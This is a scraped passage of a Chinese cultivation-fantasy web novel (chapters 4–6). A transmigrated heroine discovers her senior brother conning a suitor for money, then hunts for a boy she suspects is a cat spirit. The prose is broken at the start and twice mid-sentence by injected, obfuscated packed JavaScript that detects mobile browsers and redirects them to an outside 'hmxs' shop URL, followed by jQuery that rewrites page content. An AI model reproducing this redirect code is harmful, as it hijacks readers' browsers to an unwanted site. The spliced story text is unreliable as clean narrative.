l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898116|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩尾巴,便一溜烟从洞中极快的窜了出去。 锦书打了个哈欠:“大白菜跑了,我也要回去睡了,拜拜喽,小师弟。” 对面的人轻轻回道:“好。” 锦书起身,甩了甩蹲的有些发麻的双腿,又揉了揉因睡意而泛起的泪花,昏昏沉沉地推开门往外走。 等走出屋子了,清澈又温柔的月光笼罩了全身,她才偏了偏头,往自己刚刚蹲过的那面墙看去。 哪里还有什么声音好听、善解人意的小师弟,一切都恍若夜半做的一场梦一样,若不是手里还捏着两片菜叶子,锦书都要以为自己只是刚刚大梦初醒了。 从这里回到居所并不算太远,锦书还没尝试过御剑飞行,先前是白天,她生怕自己第一次尝试的生疏狼狈模样被其他人看见,才选择了徒步上山,既然这个点还人,她便准备御剑飞下去。 绊玉浮在地面上,锦书试探着踏上一只脚,有力的感觉从脚下传来,她才放心地将另一只脚也踩了上去。 绊玉同普通的剑相比纤细了不少,锦书最开始还有些提心吊胆,确定了自己能站住后,才驱动灵力,让绊玉缓缓飞起。 只不过刚踩着剑飞起来还没两米,就被夜晚的山间寒风吹得一个激灵,差点没站稳摔了下去。 似有似无的,仿佛有轻笑声夹杂在花香中,若隐若现,令人听得不甚真切。 锦书只能改变主意,决定等到下次无风时再来尝试,她控制着剑又落在地上,揉了揉发红的鼻尖,长剑化作手链缠绕在手腕上。 厚厚的云层掩不住皎洁的月光,几点繁星碎碎,锦书沿着碎石子铺成的小路走,周遭静谧无声,只能听到琐碎的蝉鸣与空中偶尔飞过的几只燕雀扑腾翅膀的声音。 锦书一边哼着一首轻快的小曲子,一边左顾右盼地打量着四周。 这条路平日里走的人不少,路边有片野花被压的歪七扭八,锦书皱了皱眉,蹲下身仔仔细细地把几株稳稳正正地扶了起来。 这个点已经不会再有人了,她这样想着,动作也肆意了许多。 想到附近不会有人,她脚步雀跃了许多,随着嘴里哼着的音乐,甚至开始转起了圈,等到转的头晕了,又稀里糊涂地蹲坐在地上数眼前的星星有几颗。 这种心脏在胸膛里剧烈跳动的感受,本是她上辈子最害怕的,可现在不一样了,她只感到有种名叫快乐的血液流淌在浑身上下,让她好不容易从旋转的晕眩中脱身后又陷入了控制不住的欢喜。 只是这样独属于自己的时光并没持续多久便被打破了。 “我都和你说了几次了,让你不要着急。我得同我爹娘说明白了才能去川浮城找你呀,若是没有父母之命、媒妁之言,我们就算在一起了也是名不正言不顺!” 矫揉造作的女声听的锦书鸡皮疙瘩爬上了胳膊。 “我怎么可能会骗你?你不相信我?”女声很快就带上了一层哭腔,转变之快令锦书都有些瞠目结舌:“亏我这样爱你,为了你甚至能够付出一切,结果在你心里,我居然是一个骗子?” 怎么大半夜了还有这么多好戏看? 4. 第 4 章 声音随着靠近越发清晰,锦书不太好意思偷听别人的私事,只是沿着小溪只有这一条石板路,旁边都是生的有小腿那般高的荆棘丛,她只好为难地继续前行,只是动作快了不少,恨不得直接像只鸟一样飞过去。 月白色的长衫率先映入眼帘,接着往上看,长眉俊目,清风霁月,俨然是个顶顶清冷高贵的男子。他正对着通信灵石讲话,一张脸挤成一团,形容奇葩,看得出来为了夹紧嗓子颇为努力。 “如果你真的爱我,就把灵石寄过来,我一个穷苦姑娘家的哪里来的钱去那么远的地方找你!你怎对我的爱难道只是口头上说说而已吗?倘如果你不是真心的,那就不要再和我联系了。”男子啪的一声干净利落地收起通信灵石,转过身来。 四目相对的那瞬间,步阙乾嘴角高高扬起的弧度凝固了,如同按下了暂停键。 过了不知多久的沉默,锦书长吸一口气,撞破了他人不为人知的秘密要怎么收场啊,常年卧床,鲜少和人交际的锦书尴尬地五体投地,她转身就想跑。 “哈哈哈小师妹好巧啊。” “......”锦书僵硬地停下脚步。 “其实也不巧,我在等你。”步阙乾口中僵硬地蹦出几个字。 有人懂大半夜在荒郊野岭遇见高岭之花大师兄夹着嗓子装女子骗钱是一件多么有趣,多么惹人发笑吗? 不重要配角、千万少女的梦、掌门亲传弟子大师兄步阙乾在《剑神纪》里面是这样描写的的:“大师兄衣摆飘飘,清冷脱俗,他有着令人惊叹的冰山容颜,此刻正立于高楼之上,眼神深邃冷漠,带着三分疏离、七分高傲,犹如谪仙般难以接近。” 步阙乾同志在原著里面情节并不多,锦书印象不深,只记得他好像是个高冷男神,哪知道人前不易接近的大师兄背地里做的竟是这般的勾当。 谪仙般的大师兄从容不迫地站在那里,好像从没发生过什么见不得人的事情一样,道:“小师妹......如果你还想在这里混下去的话,我劝你忘记今天的事。” “大师兄,这话应该我说才对吧,如果你不想今天的事被所有人都知道,那我劝你还是乖乖听我的话。”锦书向来吃软不吃硬,听到步阙乾语气如此生硬,不由得挑了挑眉,思索了一番得罪大师兄可能会有什么后果后,还是选择了反击。 大师兄显然把她当做了原身,那个嚣张跋扈、随心所欲的小师妹,她这番话倒是恰好是他记忆里的小师妹会说出口的。 两个人倔强的站在对立面,目不转睛地盯着对方。大眼瞪小眼,步阙乾很快就服了软,垮下一张脸,朝着锦书扑了过来,一边要抓住她的胳膊哀求,一边面带苦涩道:“小师妹,算师兄求求你了,别说出去行吗?只要你不说出去,除了钱我什么都能给你。你要是说出去,我就没办法怎么做人啊!” 前两日刚下过雨,小河边的土壤尚且湿润,倘若好好说倒无妨,但步阙乾扑过来的劲实在太大了,他一脚踩在塌软的泥土上,马上就以一个及其怪诞、四脚朝天的姿势跌入了河中。 “师妹,快救我,师妹——我不会水。”一阵撕心裂肺的尖叫穿破云霄,步阙乾闭着眼睛在河里扑腾着,嘴上仍旧不忘耍嘴皮子:“如果我死了,那会有多少人疯掉?又会有多少人走上悬崖?药修们是否会忙的脚不沾地?医馆是否会人满为患?这将是多少女孩心碎的夜晚?师妹你能想象到吗?快救我啊——” 纪锦书吓了一大跳,无暇顾及其他,急忙趴在岸边将手伸向步阙乾。步阙乾挥舞着四肢,面容狰狞。在水里扑腾着,好不容易才够到锦书的手,半死不活的被她拽了上来。 “小师妹,你要对我负责。”步阙乾躺在地上,浑身湿哒哒的,满是泥泞,他面色苍白、没有情绪,没了说话时那副张牙舞爪的夸张表情,这样一看倒确确实实是个五官端正、气质出尘的男子。 “大师兄地上不冷吗?你还是先起来再说话吧。”锦书有些无奈。 步阙乾闭着眼睛,像耍无赖一般:“你要是不答应我,不将刚刚的事守口如瓶,我就不起来。” “但大师兄你这样不太好吧,这不是在骗人吗?万一那个人家里情况不好,本来就没几个钱,被你这样骗走了,该怎么生活啊?” 步阙乾坐直身子,解释道:“不不不,我是有良心的,小师妹,你别误会了,我刚和他认识的时候就想办法搞清楚了他家里是什么情况,这小子家里可有钱了,好像是个什么连锁商铺的大少爷,而且我只找他要了几次买簪子买花的小钱而已。” 锦书脸上掠过一丝怀疑,步阙乾又从口中艰难地挤出几个字解释道:“只有这次才要的多了点,而且我准备这次要完就换个人骗的。实不相瞒,这是我骗的第一个人,我也是没办法才走上这条歧路的。” “怎么会沦落到这地步。”锦书又是不解,又是小心地试探着问道。 步阙乾咬咬牙,便秘似的吐出来一句:“我缺钱,你肯定不缺钱,所以才不懂我。” 锦书退后两步,皱起眉头上下打量了一下,怎么看也没觉得面前这人有穷到牺牲如此之大的地步,和书里清风霁月的形象也差太多了吧。 莫不是...... 步阙乾牙关发紧,眼前的少女瞪着大大的眼睛,右手搭在左手的手腕的一条亮闪闪的手链处,直觉告诉他,小师妹好像对他有些莫名的敌意。 虽然还是很担心口无遮拦的师妹会将自己的事说出去,可是心里那股没有来涌起的警惕性却催促着他赶紧离开。 他尬笑两声:“时候不早了师妹,我已经把缘由告诉你了,只求求你了别说出去,就看在你还叫我一声大师兄的份上吧,如果没有别的事,我就先走了。” 话毕,步阙乾匆忙地想要离开。 可瞬间,锋利的气息就横在了脸侧,唬的他五官扭曲了几分,哆哆嗦嗦地问道:“师妹,你这是要做什么?” 锦书捏着架在他脖子处的绊玉剑,有些狐疑道:“你是哪里来的人冒充我大师兄?” 步阙乾急的想跺脚,又怕身子乱晃撞到了剑上,语气也开始磕磕绊绊了起来:“什么冒充啊,我就是你大师兄,如假包换!” 锦书丝毫不为所动:“大师兄怎么可能干出这种伤风败俗的事来?” 步阙乾垂着眼睛,瞥了一眼冒着寒气的锋利剑刃,额上冒出来几滴冷汗:“师妹,你可千万当心别划到我了,我这脖子可是很金贵的,我当然有法子证明我就是你大师兄了。” 锦书皱了皱眉,半信半疑道:“你先说。” 步阙乾小心翼翼道:“你之前闭关的时候找我买了几瓶价值千金的丹药,那里面的软心丹和附魂药全天下只有我和掌门老头能炼,你说你当时没钱,欠条还在我怀里装着呢,你买药和这欠条可都是只有我们两个人才知道的秘密,这可抵赖不得吧。” 说着,他用手轻轻地按在绊玉上,试图推开一点距离,锦书听他这番话已经信了大半。 虽然买药之类的记忆统统没有了,但大师兄确实是天底下一等一的药修,而且原身因为花钱太大手大脚了,所以经常先打欠条再还账。 这样一看,逻辑都对得上,锦书将剑收了起来。 步 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她把欠条揣进怀里,瘪瘪嘴道:“没想到你是这样的师兄,平时藏得挺好的啊,我还以为你是个正人君子呢。” “但是药修不是应该都很有钱才对吗?” 谁都知道,和需要呵护灵器的剑修、乐修,又或是要照料灵兽的兽修相比,药修向来财大气粗。毕竟丹药对于普通人来说万金难求,对于修士们也是必不可少。步阙乾是好歹是万里挑一的天才药修,还兼修医道,缺钱了大不了卖两颗丹药、治治病,怎么可能缺钱。 “我那些丹药可都不是凡品!哪能是普通的药能炼成的,越好的药材就越难,没有钱就没有药。”步阙乾激情昂扬的为自己辩解,却见小师妹面露质疑。 “那这些丹药卖出去的钱呢?不能拿去买药材吗?” 步阙乾一时哑了声,又挠了挠头辩解道:“我炼的那些丹药不是很常见,没人用。不过,可只有我这种天才才能炼出来这些丹药哦,虽然没什么人要,但难度可不容小觑。” 锦书嘴角抽了抽,对大师兄的定义再次重写,她叹了口气:“这样吧,你缺多少钱,我给你好了,你别再骗人了。” 步阙乾一时有些不可置信:“师妹你在逗我吗?” “我总不能看着自己大师兄在外当骗子吧,反正我也不缺钱,你得答应我,以后不能在骗人了。”锦书抱着肩膀。 步阙乾喜笑颜开,连忙应声答应,锦书冲他摆了摆手当做告辞,转身便要离开。 却听步阙乾在身后叫道:“师妹,你不会去长老们那里告发我吧。” 锦书挥了挥手:“只要你发誓骗人,我就不说。” 他又叫道:“好,我肯定改邪归正,那钱啥时候给我?我还等着给人家送药材的钱呢。” 少女蹦蹦跳跳的身影顿了顿:“明天我就给你。” 锦书沿着小路摸回了自己的院子,院中的杏花开的正茂,重重叠叠地堆砌在树枝上,暖风吹来,花瓣在朦胧的天空中荡起了一圈圈涟漪,蜷缩在草丛中的某种类似蝉的昆虫早已开始吟唱,偶尔有几只小雀飞过院子留下几声清脆的鸣叫。 满月当空,山风拂发,树影婆娑,忽明忽暗的月光如薄纱般倾斜泄下。 这座山的山腰只有两座小院紧紧地挨在一起,共用一座爬满不知什么花朵的矮墙,只是此刻隔壁的那座小院黑沉沉的一片,显然主人要么并不在里面,要么已经休息了。 心中不知为何泛起一阵波澜,惹得锦书不明所以地在门前停留了片刻。 5. 第 5 章 不过想到第二日还要去找到到底是谁欺负了那个少年,她只是皱了皱眉,还是抬脚乖乖地回到了屋中。 等锦书再次推开小院的木门已是第二日日上三更。 站在院子伸展了一下身子,沐浴在清新的空气中,她缓了好一会才反应过来自己已经穿越了。 吃午饭的时间已经过了,一阵钟声从山脚下响起,那是召集外门弟子上课的钟声,好在锦书是亲传弟子,平日里都由自己师尊亲自教导,不必跟着外门弟子每天早起上一整天的课。 玄清真人有个习惯,如果要传弟子们上课或是安排事务,会排座下的童子送份亲手所写、珍重密封的书信挂在门口。 出门前,锦书深深吸了一口气,揉了揉饱满脸颊,做了几个有些搞怪的表情,这才推开木门去找有无通知上课的书信。 锦书探出个头,上下打量了一番,并没寻见一封会染上花香的书信,看来今日是个艳阳大闲天。 她倒是乐得不上课,正巧现在是外门弟子聚在一堂学理论的时候,要找到昨天那个少年和欺负他的人可在方便不过了。 她衣柜里挑了件明黄色绣着精致花样的衣裙,只是到了扎头发时却犯了难,在手工这方面她向来不怎么灵巧,小时候不能出门,只能窝在屋里做手工,她剪的剪纸常常让父母哭笑不得。 倘若还是在现代,只是扎个马尾倒还好说,但修仙界的小姑娘们大都爱美,原身更是其中佼佼者,无一日不将自己打理的精致到脚才出门。 锦书本想效仿原身给自己编一个俏皮点的发髻,结果却拽断了好几根头发,将自己疼的龇牙咧嘴。 铜镜里顶着一头鸡窝的少女欲哭无泪地塌下半个身子,心疼地数着手中可怜兮兮的几根头发。 为了那一头秀发,锦书也不敢再试,老老实实地扯过一条发带简单地束起了长发,才踏着晌午的暖阳出了门。 下山前,她有些意外地发现,隔壁院子不知何时也敞开了门,只不过院子里没人,屋里的门还是在紧紧锁着,看着依旧不像有人居住的模样。 在颇为好心地随手帮从未谋面、常年闭关的师弟拉上了院门后,锦书这才哼着歌往山下弟子们听课的地方走去。 阳光明媚,书声朗朗,弟子们坐在学堂中颇有精气神地读着课本上的内容。 锦书一边暗自咂舌感叹这修仙界的学生居然如此爱学习,一边不忘小心翼翼地趴在学堂后面的窗口往里观察。 先找那可怜地少年,他声音那么好听,手也又白又好看,人肯定也漂亮,想来找起来应该不算什么难事。 锦书抱着这样的想法扫视了一圈学堂,却失望的发现这届新弟子人数并不多,男弟子高矮胖瘦、什么样式都有,只是好像并没有什么容貌出众的男弟子,实在要挑,也就五官端正的李行道稍微能入眼了。 长得白的男弟子不过一两位,可体重看上去都不轻,锦书装作无意识扫过他们的手,也都是又短又圆、看不清关节、胡萝卜似得手指。 身形消瘦的弟子倒也有两三位,只是那瘦是常年锻炼的结果,他们肤色都是健康又阳光的小麦色。 一时间竟然两个嫌疑目标都没有。 锦书叹了口气,只能又转着眼睛去瞅每个人的手。 李行道昨日就被收为了亲传弟子,按理来说是不必下山同外门弟子一起上学堂的,但他一向好学,自己主动下了山,也没人拦着。 此刻他仰着头,微微蹙眉盯着桌上摆放的书本,神情专注。 温暖的阳光照在身上暖洋洋的,衬得这明黄色的衣衫更加两眼了,锦书瞪着眼睛找了半天,半点头绪都没有。 反倒由于自己穿的这身衣裳太亮眼,被学堂里执教的老师发现了。 今日执教的是个姓李的老师,向来以性格温和而著称。 一抹鲜艳的黄色在窗口晃来晃去,使得屋内反射的光也来回晃来晃去,不少弟子都眼酸的皱起了眉头,想让人注意不到都难,李老宽厚地笑了笑,干脆推开门直接把纪锦书叫了进来。 锦书没想到自己居然被发现了,连忙有些羞涩地摆摆手表示推脱,可李老却再三表示让她为弟子们传授些修炼的经验,眼看学堂里的弟子们都好奇地探出头望着自己,里头还包括刚和自己打过一场的李行道。 倘若不进去,显然是不太符合原身招摇的人设,锦书咬了咬牙,说服自己抛弃了羞涩,抱着不能丢脸的决心踏进了学堂,站上了讲座。 许多眼睛聚集在身上,她腿脚不自觉地抖了抖。 锦书有些控制不住地拿脚一下一下轻轻地踢着桌子来缓解紧张的情绪,虽然她心中忐忑,但却表现的面色如常,仿佛讲台下不过一群倭瓜一样。 “各位师弟师妹,大家好,欢迎大家成为我们天玄宗的一分子。” 话音刚落,整齐地拍掌声响起,锦书没想到弟子们如此热情,本来紧接着就要说出口的话一下子噎在嘴里,只有她自己感到一股好似被万千蚂蚁啃咬脚底板的尴尬。 好在掌声识相的只维持了片刻,锦书挂上温柔和煦的笑容,在师弟师妹面前做足了师姐的派头,声音温和道:“我们天玄宗对每个弟子都一视同仁,旨在让弟子们接收到最好的教育,成为最优秀的人才,希望每位弟子都能在这里学到一个修士应有的知识和素质。” 说着,她扫视了一圈讲座下的弟子们,再次确定是否有符合那少年特征的,顺带语气一变:“强调一下,我们天玄宗严格禁止同门之间相互斗殴,出现欺凌的行为,如有发现,会直接逐出师门。” 她本意是想起了那被欺辱的少年,想要提点一下新弟子,没想到这话一出却引起了几分糟乱。 交头接耳的人声音不算大,可这作为修士,常年修炼,五感自然敏锐,锦书毫不费力就听到了他们议论的内容。 “师姐为什么这么说啊?她不是昨天才同那个谁比试过吗?” “难道是师姐觉得只有她可以欺负李行道,所以今天特地下山来提点我们?” 早上做足面部训练展现出的甜美微笑差点崩盘,锦书微微抽搐了嘴角,反正言行不一也挺像原身会做出来的事,大不了以后她再努力改变这个不好的印象。 生怕再多说几句让事情变得更加惹人误会,锦书匆匆对李老告辞,毫不停留地拔腿就离开了。 等到了没人的地方,她才松了口气,愤愤地锤了一拳树,震的碎花如细雪般纷纷飘落。 没找到那声音好听的少年就算了,还让自己本来就糟糕的名声雪上加霜了。 锦书有些许不解,按理来说新弟子这才刚拜进宗门几天,如果没来上课的话,宗门也不会坐视不管,而且看他昨天那样子,也并不像什么会突发恶疾请假的样子。 排除身体不舒服这点,那么没有找到他可能还有一个原因。 难道他根本不是人? 锦书想到这里,总算感到茅塞顿开了。 如果他不是人,那一切就说的明白了。 难道他是一只猫? 正因为他也是猫,所以才能和大白菜的娘做朋友,才能轻而易举地发现大白菜只吃菜这个奇怪的批号,才会像猫一样在大半夜还不睡,而且还会说什么没人愿意和自己说话。 这不是都对上了吗? 锦书激动地跺了跺脚,这还是她第一次看到妖怪呢! 太好了,那还说什么啊,干脆直接去找猫得了。 骨节分明又白嫩的手,清澈动人犹如泉水的嗓音,做人都这样了,这家伙做猫肯定也是只皮毛像奶油一般白皙、触感像丝绸一般柔软、叫声像撒娇一样勾人的绝世萌猫。 锦书想到这里已经有些摩拳擦掌,幻想到小可怜在自己怀里喵喵叫求怜爱的场景,再也按捺不住那颗想撸猫的心,当机立断要在这诺大的天玄宗里找到嫌疑猫咪! 日头有些毒,晒得她后颈和额头都出了一层薄汗。但她却没注意到,干劲十足地奔向两人相遇的食堂。 这个点了,食堂也没什么人了,只有个老人躺在院中的摇椅上颇为惬意地闭着眼享受阳光,锦书推开门发出嘎吱一声,引得老人也微微睁开了眼偏头看了过来。 锦书倒是没注意到一旁暗含打量的目光,站在门口四处张望着。 “小姑娘,喂,小姑娘。”老头连喊了两声才把站着站着就开始目光游离、不知思路发散到何处的锦书从发呆中叫醒。 “这个点没吃的了。” 锦书疑惑道:“嗯?” 老头一字一句道:“我说这个点已经没饭啦,修行之人不要这么重口腹之欲。” “我也不是来吃饭的啊。” 老头有些疑惑地坐直身子。 “我是来找猫的。” “猫?”老头被勾起了兴趣,一股脑从椅子上直起身:“找猫做什么?” “找猫是因为找猫有点事。”锦书不是那种会把自己的事随便说给陌生人的性子,心里想着要赶紧糊弄过去,脸上却依旧是一副笑嘻嘻的模样。 可老头偏偏不依不饶,一副要打破砂锅问到底的模样:“你这小姑娘怎么说话这么糊涂?我燕老头最喜欢帮忙了,你说清楚所为何事,我来帮你找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898118|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这天玄宗上上下下我都摸得透透的了,保管给你找到。” 锦书有些警惕,记忆中天玄宗没有这个自称燕老头的人啊,为什么他会出现在这里,还旁若无人的躺在院子里,甚至自称对自家宗门已经摸得一清二楚了。 她的手摁上了另一个手腕的手链,不动声色地后退了一步。 可这哪里能够逃脱老头的眼睛。 老人又懒洋洋地靠上躺椅的后背,气定神闲道:“怎么?觉得我不是好人?你这姑娘怎么警惕心这么重,看着也不是外门弟子吧,你是谁门下的啊?我前些时日才被你们宗主邀请过来常住,你没见过我也是正常。” 这老头生的倒是面善,微微弯着眼睛,脸上的褶皱虽多,却衬得他慈爱非常,像是在哪都能看见的再寻常不过的老人,只需要一个分神再见就认不出来了。 锦书抿了抿唇,老人有耐心地解释道:“我就是个凡人,从没修炼过,只不过和你们宗主有点交情才被他邀请到这养老而已。再说了,这天玄宗里布下神络阵连接着每个长老,倘若我在这里对你动手,不过三个喘息就会被制服,难道你没自信在我这个普通老人手下撑过这么一会?” 锦书抿了抿唇,这老人说的倒是不假,天玄宗被整个神络阵覆盖,若有歹人在宗门内动手,长老们几乎同时就能发觉。 更何况,这老人身着布衣、面色和蔼,确实像个没有法力的普通人。 她恭恭敬敬地行了个礼:“晚辈是玄清真人座下大弟子纪锦书。” “云中谁寄锦书来?”燕老头顿了顿:“好名字,怎么?你爹娘可还安好?” 老人沧桑的眸中忽的闪过一丝饱含哀婉追忆的泪光,面上却笑容未变。 锦书站直身子,老老实实地答道:“晚辈爹娘都很好,起这个名字不过是喜欢这首诗罢了。” “倒是个好命的孩子,未经离别苦是好事。你不必这么恭敬,我不过是个普通人罢了,既然你我有缘你就喊我一声爷爷吧。” 锦书笑着点了点头,应道:“燕爷爷。” 燕老头动作利落地走到她身侧:“不是找猫吗?我同你一起。” 锦书这次没再拒绝,父母对她的教导让她不能够做到拒绝一个普通热心肠老人的好意,便干脆热情地和老人一起往外走去:“不知道您有没有看见一只气质高雅、模样可爱、叫声甜美的猫?” “猫不是都这样吗?” “不不不,我要找的那只是最最最特殊的一只,一定是猫里面最最最漂亮的,叫声也是最最最好听的。” 听到这番带着些孩子气的话,燕老头不禁失笑:“好,那我们就从这山脚下慢慢找起吧,据我所知,外门没几只猫,而且基本上都在外门弟子的居所附近,看看如果这里找不到,我们再上山。” 说话间,两人已经走到了几座小楼之间,山脚下为外门弟子们划了很大一片地,但是不管是学堂、住所或是藏书楼之类却都紧紧聚集在一起,其余大多都是空地。 锦书老远就看见了蹲在小楼下的两只猫咪,一黑一黄,依偎在一起懒洋洋地晒着太阳,看见有人靠近也并不警惕。 其中黄的那只慵懒地舒展了一下腰身,发出轻柔的呼呼声,另一只黑猫也趴在地上磨了磨爪子,应和着同伴唤了一声。 锦书失望地摇了摇头:“应该不是这两只。” 越过小楼,映入眼帘的是一座气势庄严的高楼,碧瓦朱檐,正是藏书楼。 锦书站在门口探着头往里看了一眼,值守的弟子严肃地守在敞开的大门里,周围也并没有什么生气。 却听一声熟悉的猫叫从远处传来,锦书有些惊喜地朝声处望去,正是一条细长的玳瑁色的尾巴从草丛中直直竖起,接着是一双亮亮的眼睛。 “是大白菜,燕爷爷,它可能知道我要找的那只猫在那里。”锦书连忙快步追了过去,奇怪的是燕老虽然年纪大了许多,脚力却不输年轻人,紧紧跟在锦书身后,未落下半分。 锦书有些抱歉地回头道:“对不住了,燕爷爷,它跑得太快了,我不是故意将您落下的,要不您还是在这里等我吧,我待会回来找您。” 大白菜身子轻盈地越过重重障碍物,一马当先地跑在前方。 锦书跟着它跑过戒备森严的剑阁,终于到了一座药香四溢的房前。 “你带我来灵药亭做什么?难道我要找的它在这里。”锦书蹲下身,摸了摸大白菜扬起的小脑袋。 大白菜喵喵地叫唤了两声,果然只听绿荫中传来一阵微弱的细吟声,锦书闻声过去,小心翼翼地扒开了草丛。 6. 第 6 章 草丛中慵懒地卧着一只云朵般的猫咪,感受到有人的气息,楚楚可怜的抬起精致又妩媚的小脸,吐出几句撒娇似的叫声。 锦书一句“哇”脱口而出,本情不自禁地再说些什么,又意识到声音若是太大,说不定会将这猫咪吓走,只好又将话咽回了嗓子里。 “倒是只顶顶漂亮的猫,就是这只?” 闻声,锦书有些惊讶地回过头,却见燕老居然已经站在了自己身后,正含笑打量着猫咪,也不知他一个风烛残年的老人是怎么追上来的。 锦书点点头:“它长得这么漂亮,叫声也很好听,我猜就是他了。” 还有个理由她没说出口——这只猫和那夜少年气质也很是相似,可怜巴巴的,让她心底油然而生出一种保护欲。 “不过它好像不太对劲。”燕老微微蹙眉,伸手扒开它的前肢。 在雪白色的长毛的掩盖下是一道鲜艳又刺眼的红,那是一道很深的划痕,血迹凝结在长毛上,凝固的血块让它看上去狼狈又无助。 锦书蹙起眉头:“怪不得大白菜带我过来,你昨天晚上不是还好好的吗?就一早上,上哪野成这样?不过还好这里就是灵药亭,我带你进去找今日值班的弟子包扎一下。” 灵药亭名字里带亭,实际上却是几座屋子连在一起,中间有个极大的院子,跨过外门,就能看见摆满各种各样草药的院子,就好像一颗香囊一般,朝着四面八方散发出温和的香气。 院中有颗高大的杏树,树冠几乎覆盖了整座院子,正是开花的季节,亭亭而立,胭脂万点,花繁姿娇,如云又如雪。 锦书急急忙忙地往院里冲,没注意脚下有条极高的门槛,身子几乎瞬间就失去了平衡,千钧一发之际,她还不忘自己怀里还有猫,脚下发力,虽然仍旧站不稳,但转了个角度,才险险能够护住它。 恍惚间,只见前方有个模模糊糊的玉色柱子,锦书慌乱地挥出一只手死死地抱住了那救命稻草,盼望着能借力来避免让自己脸着地。 好消息,确实没有脸着地。 坏消息,这好像不是柱子。 抱住的那根柱子并不粗大还有着丝绸般的触感,锦书跪坐在地上,和猫一起依偎在“柱子”上,有些呆滞地抬起头。 微风席卷起一片散落的杏花花瓣,在纷纷扰扰的杏雨中,锦书瞧见了一张精致的犹如画中人般的脸庞,少年面容青涩优越,肤如冷玉,眉头微微蹙起,一双琥珀色的眸子透出几分冷漠与疲倦,分明是一张既美丽又俊俏的面容,却又透露着一股近乎夸张的病态, 少年好像原本在与什么人交谈,在被突如其来的人打断后,才缓缓垂着头看向她,乌黑的长发一泻而下,垂在脸侧,投下淡淡的阴影。 他目光从锦书脸上划过,扫到她抓着自己衣摆的手时,眸色微微一凝,锦书连忙收回手。 少年笑了笑,桃花似的眼睛眯了起来,笑意蔓延,溅到眼下,在右脸的脸颊上凝聚成一个小小的酒窝。 “师妹你这是怎么了?”正在同少年交谈步阙乾扶着锦书站了起来:“怎么摔成这副样子?” 锦书哭丧着脸:“看个病也有门槛啊?我没注意,疼死了。对了师兄,我这有只小猫,你快帮我看看它怎么瘦看这么重的伤。” 步阙乾被这话逗笑了,接过锦书怀里的小猫,捏着它的前肢仔仔细细地瞧了瞧,只不过几眼便得出结论:“没什么大碍,敷点药养养就好。话说你从哪得来这么漂亮的一只猫?” 锦书眉开眼笑:“是吗?你也觉得它长得漂亮吧,昨天我半夜睡不着,跑到山下来遇到它还有另一只小猫,和它俩玩了好一会呢,谁知道今天它就伤成这样了。” 那貌美的少年不知为何笑容微微一僵,乌黑的眸子看了过来,扫过步阙乾怀里的白猫,又扫过锦书的手腕,锦书被看的浑身发麻,尴尬地用手握着另一只手腕,不自觉地摩挲着腕上的手链。 “师姐,先进屋吧。”少年轻轻开口:“你的膝盖受伤了。” 锦书闻声低下头才看见自己的膝盖果然如他所说,衣物都被渗出的血染得红了,还不知膝盖究竟伤的怎样呢。 步阙乾打趣道:“还是亲师弟关照起师姐来细心。” 少年抬眼盯着锦书有些慌张和迷茫的小脸,微微垂下眼睫,既受伤又无奈道:“师姐已经把我忘了吗?” 锦书总算想起来了。 面前这人正是原著里面毫无戏份、常年闭关、与自己师出同门的四师弟——陈赋舟。不过按理来说,陈赋舟此刻应该在闭关才对吧,怎么会出现在这里。 陈赋舟出生世家,比锦书晚几年拜入门下,不过两人接触并不多,听说他身体不太好,需要常年修养,所以甚少出现在外人面前,大多数时间都是在后山闭关。 虽然不知道他为何违背了剧情出现了,但锦书也没准备深思,冲他露出了一个热情的笑容:“原来是小师弟啊,上次见到你还是两年前了,都长这么高了,师姐一下子没认出来你,真是不好意思。” 陈赋舟垂眸,声线拖得有些长,话题却跳得很远:“师姐的手链看上去很特别。” 锦书有些懵,不知为何他忽的就提到了手链,却只当是他喜欢漂亮东西,便一头雾水地回道:“多谢师弟夸奖,上次也有人这样说呢。” 陈赋舟没再回话,微不可查地叹了口气。 锦书半颗心都悬在猫身上,哪里能注意到面前的少年思绪万千,瞧见步阙乾搂着猫正往屋里走,便抬脚要跟上去,却被一只抓住自己袖子的手拉住了。 “师姐。” “嗯?” “这个。”陈赋舟抬起手,他金丝水纹滚边的袖口上缀着几颗明珠,但那些明珠却被一根明黄色的长带缠绕着:“是师姐的吗?” 锦书一眼就认出了那是自己今早匆匆忙忙绑在头上的发带,下意识地拂了拂脑后,一头长发全都散落了,她不知道自己现在是否姿态美观,不由得红了脸:“应该是刚刚扯掉了。” 她抬手想解开缠在他袖口的发带,但发带却很不给主人面子,凌乱地绞作一团,任锦书额上冒出几滴冷汗,反而变得愈加复杂了。 她解得费劲,陈赋舟从上往下看,只觉得她饱满的脸颊鼓鼓的,像个刚出蒸炉的白馒头。 一只骨节分明的手摁上袖口,轻轻一扯,整条发带就落在了锦书手心,锦书注意力全被那双手所吸引了,没由来的觉得有些眼熟,正下意识地要再看看,陈赋舟却已收回了双手,垂在了身侧。 沾衣欲湿杏花雨,吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898119|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面不寒杨柳风。 